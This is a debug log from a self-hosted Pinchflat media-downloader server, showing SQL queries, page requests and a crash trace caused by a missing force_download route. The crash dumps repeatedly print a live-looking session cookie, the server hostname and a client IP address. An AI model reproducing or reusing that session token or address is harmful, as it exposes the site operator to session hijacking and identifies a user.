'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 17:53:42.758 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.759 [debug] QUERY OK source="media_items" db=0.7ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.759 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.759 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 17:53:42.760 [debug] QUERY OK source="media_items" db=0.6ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.760 [info] Sent 200 in 17ms 17:53:42.762 [info] Sent 200 in 15ms 17:53:42.766 [info] GET /sources/3/edit 17:53:42.766 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 17:53:42.767 [debug] QUERY OK source="sources" db=0.1ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.767 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:53:42.768 [debug] QUERY OK source="settings" db=0.3ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.768 [debug] QUERY OK source="settings" db=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.768 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.770 [info] Sent 200 in 4ms 17:53:42.832 [info] GET /sources/3/media/404257/edit 17:53:42.832 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "404257", "source_id" => "3"} Pipelines: [:browser] 17:53:42.833 [debug] QUERY OK source="media_items" db=0.1ms idle=66.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 17:53:42.833 [info] GET /sources/3/media/404257/force_download 17:53:42.834 [debug] QUERY OK source="settings" db=0.4ms idle=66.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.834 [debug] QUERY OK source="settings" db=0.2ms idle=66.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.834 [debug] QUERY OK source="settings" db=0.1ms idle=66.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.834 [debug] QUERY OK source="settings" db=0.1ms idle=65.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.834 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.835 [debug] QUERY OK source="settings" db=0.6ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.836 [info] Sent 200 in 3ms 17:53:42.835 [error] #PID<0.162958.0> running PinchflatWeb.Endpoint (connection #PID<0.162957.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/media/404257/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162957.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48270}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162958.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/media/404257/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT2wiXy8rTs8ABvzk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162957.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48270}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162957.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48270}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162958.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], pat (truncated) 17:53:42.871 [info] GET /sources/3/media/404257 17:53:42.871 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "404257", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 17:53:42.871 [debug] QUERY OK source="media_items" db=0.1ms idle=37.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 17:53:42.872 [debug] QUERY OK source="tasks" db=0.1ms idle=37.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [404257] 17:53:42.872 [debug] QUERY OK source="sources" db=0.2ms idle=37.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.872 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=37.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [14266, 14480] 17:53:42.872 [debug] QUERY OK source="settings" db=0.0ms idle=37.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.873 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.873 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.874 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.875 [info] GET /media/49bba877-ccb8-4b57-8f3b-d2953c5fe715/stream 17:53:42.875 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "49bba877-ccb8-4b57-8f3b-d2953c5fe715", "v" => "1785636261"} Pipelines: [:maybe_basic_auth] 17:53:42.875 [info] Sent 200 in 4ms 17:53:42.876 [info] GET /sources/a499c8c0-4e0c-418c-8d71-ddf40677439f/feed.xml 17:53:42.877 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a499c8c0-4e0c-418c-8d71-ddf40677439f"} Pipelines: [:maybe_basic_auth] 17:53:42.877 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a499c8c0-4e0c-418c-8d71-ddf40677439f"] 17:53:42.879 [debug] QUERY OK source="media_items" db=4.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["49bba877-ccb8-4b57-8f3b-d2953c5fe715"] 17:53:42.879 [debug] Invalid range request for media item: 49bba877-ccb8-4b57-8f3b-d2953c5fe715 - serving full file 17:53:42.879 [info] Sent 200 in 4ms 17:53:42.891 [debug] QUERY OK source="media_items" db=11.6ms queue=0.1ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 17:53:42.930 [info] GET /sources/3/media/404257/force_download 17:53:42.931 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=57.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.931 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=57.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.931 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.932 [error] #PID<0.162969.0> running PinchflatWeb.Endpoint (connection #PID<0.162968.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/media/404257/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162968.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48306}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162969.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ 